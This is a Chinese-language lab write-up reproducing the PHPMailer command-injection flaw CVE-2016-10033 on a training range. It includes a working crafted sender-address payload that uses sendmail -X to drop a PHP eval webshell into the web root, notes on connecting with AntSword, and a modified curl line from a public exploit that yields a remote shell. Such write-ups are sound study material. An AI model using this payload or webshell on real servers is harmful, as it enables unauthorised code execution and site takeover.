0x01 漏洞原理#
知识点梳理,靶场复现
漏洞编号:CVE-2016-10033
影响范围:PHPMailer 版本 < 5.2.18
PHPMailer 中的 mail 函数在发送邮件时使用了系统 sendmail 方法,由于没有足够过滤使得用户可以注入攻击代码
PHPMailer
命令执行漏洞(CVE-2016-10033)利用escapeshellarg
和escapeshellcmd
两个函数结合使用,导致了单引号逃逸。具体的漏洞分析和利用过程可以通过合天网安的这个实验进行,但是要价 200 和氏币:
0x02 靶场复现#
先用墨者靶场复现
打开页面是一个英文网站,拉到底部有个邮件链接:
点进去,是个邮件发送界面;
Exp:
构造邮箱
"attacker\" -oQ/tmp -X/var/www/html/shell.php soapffz"@gmail.com
消息:
<?php @eval($_POST[a]);?>
sendmail -X
参数可以将日志写入指定文件,发送后页面卡住了,但是不要紧,其实一句话木马已经写入了
上蚁剑连接:
拿到key
0x03 rce-exp#
exp
地址,下载后,测试远程目标运行如下命令:
./exploit host:port
本地测试如下:
./exploit localhost:8080
默认的exp
只给两个参数host
和port
,本题里面还有目录mail.php
,简单修改即可:
只需把
curl -sq 'http://'$host -H 'Content-Type:
中添加你对应的目录即可:
curl -sq 'http://'$host/mail.php -H 'Content-Type:
成功获取到远程shell
,权限是www-data
用户
0x04 尝试提权#
还没。。
本文完。
参考文章: